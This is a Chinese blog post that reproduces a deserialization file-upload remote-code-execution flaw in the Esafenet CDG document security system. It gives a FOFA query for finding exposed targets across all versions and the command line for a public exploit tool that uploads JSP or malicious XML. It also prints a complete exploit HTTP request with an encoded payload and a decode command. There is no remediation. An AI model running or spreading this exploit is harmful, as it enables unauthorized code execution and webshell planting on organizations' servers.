亿赛通电子文档安全管理系统 XStream反序列化任意文件上传

最新推荐文章于 2024-07-04 10:27:01 发布

qq_36334672

最新推荐文章于 2024-07-04 10:27:01 发布

阅读量590

点赞数 6

文章标签：安全 web安全

本文链接：https://blog.csdn.net/qq_36334672/article/details/135860803

版权

文章揭示了亿赛通-电子文档安全管理系统中的一个漏洞，用户可以利用FOFA工具上传恶意XML文件，导致远程代码执行。描述了复现攻击的过程和相关工具的使用方法。

摘要由CSDN通过智能技术生成

影响版本

全版本

网络空间测绘

FOFA：app=“亿赛通-电子文档安全管理系统”

在这里插入图片描述

复现

可使用以下工具直接上传JSP或自定义恶意XML。
https://github.com/0xf4n9x/CDGXStreamDeserRCE
CDGXStreamDeserRCE.jar

java -jar CDGXStreamDeserRCE.jar -uf C:\Download\xxxlx2.txt -t https://xxxx -p http://127.0.0.1:8080
                                      (本地上传的文件)   （目标地址）

POST /CDGServer3/SystemService?command=GETSYSTEMINFO HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Connection: close
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8
Content-Type: text/xml
Host: 
Content-Length: 4582

NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIODEGNCPIGDFMGMDPOMMEDIJNFKDCHHBFMFGBDOIOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAMAGEELEHJEEIDBDILILANAKCIIGLMDIDDMOPNCNGLPPOMMIGCEFEBIMDHFAGLHIDHPJCHAEHFPHNHJGJKJDCINLAHOAPCDJNIABODKBFABJMFIEMLLPGGKNNNFCAOBHCOEOHCBFOFGBBPLKPHLLNOCJAKJDJPOEPBEKKPHOPBHFLJLNOGLABIJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENHNFBOJIAOFJKBFMGNKBEECKKJPCECMFKPPPKEGOIOBHIBIBAGBIKAMOFLEKDKODMHGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPMHFPPNFFIJEEJPPIMGPKHDOACKEEJACLCOKIPFHHECFDFJNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJJANLFPKGLOINAIODAJNHAEDLBNONDJHPFELIJMNLMHEMBFGOHELCDBFHIFALDIIMBFEOHNHBOIOMLCJKCPHJPNDLPHDDCFJNMGKDMEINHIDLEGMOCNAFDAHOMPPIFFBPFCHAPPIDAIAILKODLCALBBJNPCGLPKIEOLEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMBJDGIDJMMGEOEGJNJDNNEKFDMEAHMILDKIFBGKGEJCMGOFEKGJEMNAFLDGEEOBKOHADBAMHBMDJOGIFPMDKIILIGAEELNEOAKNEFHDOGHOPBDICEALJIENFKHFCEHMPBJLCFPDHDGBBFIMKHLLFIHONFDJAIEJJLPPFMAEHBHDEBOIDLCMCIKAFBEBFEBGJEECDEINCPNPKIENONIMPBJCCMCHOAJHHDKDKEGJGDGJDJIDEHNNLNNHEONJEJHNLHLPMBBEJDLLJLLNPKIMGHLOFMMKBDEBHNFLPGEOKMHOFNBLLAALGMKNJONNGIOJLBFECJNLKHMBCKELDPBDMBFEHAKBHEMNDFBBEDCAMMHNNGMDGLNJHJDAGPILNGBEDCDJBCJOAMOBIFLOFCFIJKDELPPFLFBOHHEAIBHCEHALKGKJLIHHCLCCFBIKJPPCPFNEGBEFHIIEJLDLCIILGOJPCLALLDPIDJHNKDNPOGOMLIKGCBDNHJCLCGGGOMLKAEPNAGGHFCBGCALOHIGGKEHKPJNEBFGMJKCJFFDMMAHGEOFPIIPOIMALJHAFMLDLBBBOMCDBPJEHEJANCKCIEDBEIMIKONBEAMGGHGEFNOJGHKIELJBJLJCJFKCLOJEGIPPJOCNGCMBAKHADFNLEDMOJNMBGNGBMBFNPLIBGDCCNMDNDNOIPOECCPELCEDPGCNKGBDFKLJLNIJNAEFOPOLBLLCHOPIJCDNGEJGPMAFCFNLGKJDPKEBNDBEOIKINLEPIBJAGEBMEFKHPEKAPANDBGCGDBKKBJGFIOMHNPHOGAPDIFOBAMIGMNOFJAFJKNMFCBFNHAJELKBHCENAJDNEBNDCIOEOHAIOFKPEKJEPCDGPGGKENMHNOGKPMMADGIPOOJKHPGOIGDLNJFJGOIIEHCLGOLLGONJLFDBNMJCPJDDDKGDLKMCILLIEKBEDADHHJGENFBCKCACMIMIPDDGJFANEEFFILNPFMEEAOGCOFPPBCGCMEJDEHJILGKBDAKCPJMFODBFIEGHLPBLLGOHGABBGLENANFJGAEHBANPEHDNHLNDHKPCKMEOCOBFEJLDGJFDBIOHBMICIEDOHCDJMLKFFEHDJGOBLKLMOJHGOHHMNEJBEKCEEPAMBJFGNCBDDEJPGNGJKKGMKPJIIHDCFFPFAOMOGDKFGMMDLILPCDNCCGACMNDPCEJCCOAMKOCNAFDNELOFMFJIEEJLDJKOEFDIGHLJGKEFCKBGGKCFFCIBIGBDFABJCFOCEDNJOJEBAEMFIEFPNBKGKGKFJDDEBDMKFFEKKAJOFPDMFBBALPJHINILPDEEPIMJOHPLDMOFMFCFMEAAJDNIGJGAFDMONIMNMIBKIGGCMLPFGDFNKOBLDKIHEDJJFJNEEBGMDICECOLIJNPJBMHOGMBKMILAIMJCICMDNBGMFBKPEGHFCHDCKJCKMDKFDLAGLDAHOCOEKIELNHNONOOFECAMDJNOOPNIMPMCNKHNGEJJMKFDPOGGNJLLJDAKHABCOCLGBMNIAMFEKBEMCGIEMDMGCOEDBDOMPKLMMMKLFPGEINCENPLOMMOIJHINAIPDNPKFIHHFMNKFEJDLHILCDEEPALCCOLILJFIAGEJILLHDFIELENBAKNPEBNADDDHBNCHBPNPOFBIDKOAAJFPEMGIKMBLFBDJNMGCBHPONCBDPELPPMPGDLCDOENPCBGGFLHANCPOGKPPEMBNOKJHBPPDHDLNKJLKCAJAAEPLFPJJFEBCPALCOMNOMCIKJCFBMAKIOFPNPLJMOAJDCNMKDCFIPHLFGMNDILAMLFFEGDMBCFAKAFBEFPFFHOLABOICHGGHFGLHPBIHODABLCBFCNBFKEODJINOLGPDHNLBOFMBALOFPBMGAIDOLJJJEELGAPIGBCHOJBEKLNBCOMCGIPNOOPPOEJHCOOKJHNELONFDGHDAPBKAMPGHHOGNCPKCGMEAMLKOLAIHLIADDJPCDJKHFAAAJNKKEKNNEJDOENAFGNAHGOHCFDLMGHMKHNKOEDFJMANPFJAKOILOJEOBMBLAOIOEFAOGJJKLOMGLACMBBMEEHIMNHGLCIFBGOKFCJAMFFIEFLLKOGEELMKMPMAKJMMOFKDJCFJGCGBDGLKDCNLGJGAHOBIPMPIFJPOIBLLAHHOBHHPGDILOENAEPPKPLEOPKMLDBCELDMFLPAJEGEIFJPMJBKEMDENGPNPCDLEDFKMKBGNLKPENBBHDMGGHNMEHHMMOOMGDOEFGANFJDDIJBHJLEBMIMILDFBLCLDIIAECKJHECJGCFJIPMHIIIDGMFLIAEPDEPJPILNDOLFFHNJFICIJOLGMIEMIBBEBPOHKJCADKMCBMHBMEGBLKCFJNAGLBNCFCJJIFOJPAEDJCPJGGMDKBDMPAHHPEFOJHCGAHLHMCBOJOEHDNJAJCOKBGKJGFHKGGHIIIIMLKMJEFELFABKCLONJPBLAMBBPHKJBEDJLLALIMLIPJFBNEGFDHPILGPCGADBNDGMNKNMOEKCAKDNFDHGPJPEJAOEHFEOKCJAMGMPCKKPJFCHECMAGIECDFLHGAJOGAELCDHNODFAALBHLGPGGFDKHINKKEGCDEDKNFHDAHMLLFMBJLPEFNGBDKIBJDFHNJKKJMLPCPJDHFNDBHGBLMMHPCFAKEDCHNOECHCKOBBOJDGKDHIFANKMLFHDPPCOBKAPMJPMOGCPJLEEMNIKPPHLNEEMIKKFGGCBBFNAMADDKMFBFDONINLMAKGKMGKKAIMAEBCJMKILBGAGIKLFBLONMCHNEHGLDNKJFELODIKPCJMDBNFDMIHAPHJLGAIDLFPKLDNMDGNLCOMMLKICBDAOFPIKEOIGAEBGOPPJKBCMKHIFNGMJCCOFFMCIMOFPLCCMNCFPHHDPAAJALBNBCOJEPFCJFJEFFNGOJKFLHGHJNBFPLODCFLBLBEKINLDNONLCLEPEHOGKFCEPKLABDJOOOABGBOBMMLLMBGOOPGDJMBEEGINKGIGCHIIILBJJFJJNIDDJCHDDLOHELOLEANPLEEHCHDOKLEIBHAPFKPFAHNAIMDOKPCIKNEMFGMGCOGGMKBIBDEKDAKBPBJKPAFGODBFLGADBFNMDAHGLDGNFLLBONBDLAAOIIICMHIPDJCMHBGLFJAIMIBHABENMJOEHJLKGIIJDBBEHFJGKDNILPLLLHEJKJNGGDCADLNKNECJAGJLBFFAODGOMJNOPJIIEDEFBHLDLNAIBFDBJMJKFCLFOKBNCEKLKOEAEEDDMKNIEDBLJNKLAMJLOJFIJFMBOFNPMDEMBOHEDMJDGNEMGDAFFGJMPHLCGPAILFPPOLOAKOFJDMMILKLINJMIEDPFLIBNIPJMOOGNPLJNDJKJPNJKIKAMCKOMLKMELOCOFLDDJIEBGNBBLPMFNDGIHDEFAFHPJNAEPABGAOADKJMLCNLFMEPLIFKGJFPBBGHOCJDGPJFAKPIHNJJIPPBBIFJCIPGFNKBBLLGDOJGBPHKHELACOMFMJBCMEIALEBJEHDFLGPMMCEJIPIBIGGGLAMOKFKMKGJACLLNNHIPDJLHPNBJFMLBINBEOBJMLPILNJNNBLHMDHPNLONIODEGNCPIGDFMGMDPOMMEDIJNGFPFLJJMGANGAOLPGIFAFNEEACNKMJLFHEKBBILILPEGMIODENBNOOCENDGLDCKBGEFDCL

存在的响应包

java -jar CDGXStreamDeserRCE.jar -d FEPCCCLCENHIPOAFPAPDDFCGEAPNMDBMOJPMJAKKNPHOKIKIDCBPHEGKLDGNHCBDEIMODEKMKPFBAIMMNLOJJKMIICLAPJAAFGNGAKFBMPKPJMOIKODEJJMHJCCHKBMFMMFDLOMDPABOJCEAPOFDCPMKGDHFNBBIMCIPAMMIIANFPAJHFAABLLLANNIDAGNKOHONJGFGBKHFDMCLJIMICBHBJEIAAIMACN